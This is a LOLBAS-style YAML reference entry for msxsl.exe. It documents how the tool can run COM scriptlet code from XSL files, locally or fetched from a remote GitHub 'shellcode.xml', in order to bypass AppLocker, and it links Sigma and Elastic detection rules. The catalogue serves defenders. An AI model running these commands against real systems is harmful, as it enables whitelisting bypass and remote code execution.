--- Name: msxsl.exe Description: Command line utility used to perform XSL transformations. Author: 'Oddvar Moe' Created: 2018-05-25 Commands: - Command: msxsl.exe customers.xml script.xsl Description: Run COM Scriptlet code within the script.xsl file (local). Usecase: Local execution of script stored in XSL file. Category: Execute Privileges: User MitreID: T1218 OperatingSystem: Windows - Command: msxsl.exe customers.xml script.xsl Description: Run COM Scriptlet code within the script.xsl file (local). Usecase: Local execution of script stored in XSL file. Category: AWL Bypass Privileges: User MitreID: T1218 OperatingSystem: Windows - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). Usecase: Local execution of remote script stored in XSL script stored as an XML file. Category: Execute Privileges: User MitreID: T1218 OperatingSystem: Windows - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). Usecase: Local execution of remote script stored in XSL script stored as an XML file. Category: AWL Bypass Privileges: User MitreID: T1218 OperatingSystem: Windows Full_Path: - Path: Code_Sample: - Code: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_xsl_script_processing.yml - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_msxsl_network.toml - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml Resources: - Link: https://twitter.com/subTee/status/877616321747271680 - Link: https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker Acknowledgement: - Person: Casey Smith Handle: '@subtee' ---